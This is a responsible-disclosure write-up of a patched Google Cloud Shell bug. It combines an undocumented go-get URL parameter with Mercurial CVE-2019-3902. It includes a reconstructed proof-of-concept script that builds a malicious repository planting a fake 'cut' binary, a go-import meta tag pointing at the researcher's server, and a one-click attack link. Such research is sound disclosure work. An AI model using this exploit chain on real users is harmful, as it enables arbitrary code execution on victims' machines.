Quick navigation

Note: The vulnerabilities that are discussed in this series of posts and in LiveOverflow‘s video were patched quickly and properly by Google (a long time ago). We support responsible disclosure.

Bug #4 – Go and get pwned


While auditing the Javascript code, that’s responsible for all the client-side work in your browser when working with Cloud Shell, i noticed something out of the ordinary.

The code that is handling all GET-parameters, listed a parameter that is not present in the official documentation.

   var B3b = {
        CREATE_CUSTOM_IMAGE: "cloudshell_create_custom_image",
        DIR: "cloudshell_working_dir",
        GIT_BRANCH: "cloudshell_git_branch",
        GIT_REPO: "cloudshell_git_repo",
        GO_GET_REPO: "cloudshell_go_get_repo",
        IMAGE: "cloudshell_image",
        OPEN_IN_EDITOR: "cloudshell_open_in_editor",
        PRINT: "cloudshell_print",
        TUTORIAL: "cloudshell_tutorial"

All parameters listed above are listed and explained in the documentation, except for the ‘cloudshell_go_get_repo’ GET-parameter. When constructing a Cloud Shell URL with this parameter (https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://github.com/some/package), again, the cloudshell_open function is invoked.

The code responsible for handling the ‘go get’ command can be seen below.

function cloudshell_open {
 if [[ -n "$cloudshell_go_get_repo" ]]; then
    valid_go_get=$(echo $cloudshell_go_get_repo | grep -e "^$valid_url_chars$")
    if [[ -z "$valid_go_get" ]]; then
      echo "Invalid go_get"
go get -- "$cloudshell_go_get_repo"
go_src="$(go env GOPATH | cut -d ':' -f 1)/src/$go_get"

All input seemed to be filtered properly. Nevertheless i kept some notes about this finding.

Container Vulnerability scanning

A few months later i was hunting for bugs in Google’s Container Registry (gcr.io). One of the features it provides is called Vulnerability Scanning. When you enable Vulnerability Scanning, every Docker image you push to the registry is scanned for known vulnerabilities and exposures. As new vulnerabilities are discovered, the Container Registry checks if they affect images that are in your registry.

One of the Docker images i had been working on before was, ofcourse, the Cloud Shell image that’s available on https://gcr.io/cloudshell-images/cloudshell:latest. I had this image readily available on my local Docker engine so i pushed it to the registry in order to inspect the workings of the Vulnerability Scanning feature.

Upon opening the results of the scan against the Cloud Shell image i was a bit surprised. The Cloud Shell image seemed to be packed with over 500 vulnerabilities.

After checking almost every vulnerability that was listed, i finally found one that looked interesting and useful to me: CVE-2019-3902.

Exploiting CVE-2019-3902

CVE-2019-3902 describes a vulnerability in Mercurial. Due to a vulnerability in the path-checking logic of the Mercurial/HG client, a malicious repository can write files outside of the repository boundaries on the clients filesystem. I knew that the ‘go get’ command is capable of handling several types of repositories: svn, bzr, git and HG!

Since there is no public exploit for CVE-2019-3902 available i had to try to reconstruct it. I downloaded 2 versions of the Mercurial source code: the patched version and the unpatched version. Hopefully comparing the 2 could provide me with some clues of how to exploit it.

When examining the patched Mercurial source code, i stumbled across automated test cases that were stored in the /tests/ directory. Based on these tests i was able to reconstruct the exploit.

# PoC for Google VRP by wtm@offensi.com
mkdir hgrepo
hg init hgrepo/root
cd hgrepo/root
ln -s ../../../bin
hg ci -qAm 'add symlink "bin"'
hg init ../../../bin
echo 'bin = bin' >> .hgsub
hg ci -qAm 'add subrepo "bin"'

cd ../../../bin
echo '#!/bin/sh' >> cut
echo 'wall You have been pwned!' >> cut
chmod +x cut
hg add cut
hg commit -m "evil cut bin"

cd /var/www/html/hgrepo/root
hg commit -m "final"

The code above constructs a malicious repository. When this repository is being cloned by a vulnerable hg client, a malicious file named ‘cut’ is written to ../../../bin. When we looked at the cloudshell_open function before we saw that the ‘cut’ command is being called right after ‘go get’ clones our malicious repository and thus our arbitrary code is executed.

The malicious repo was stored on a personal webserver under go.offensi.com/hgrepo. A malicious go.html file was placed in the root of the webserver to instruct the ‘go get’ command to clone a Mercurial repository.

<meta name="go-import" content="go.offensi.com/go.html hg https://go.offensi.com/hgrepo/root">

Now any Cloud Shell user can be tricked into arbitrary code execution by opening this link: https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://go.offensi.com/go.html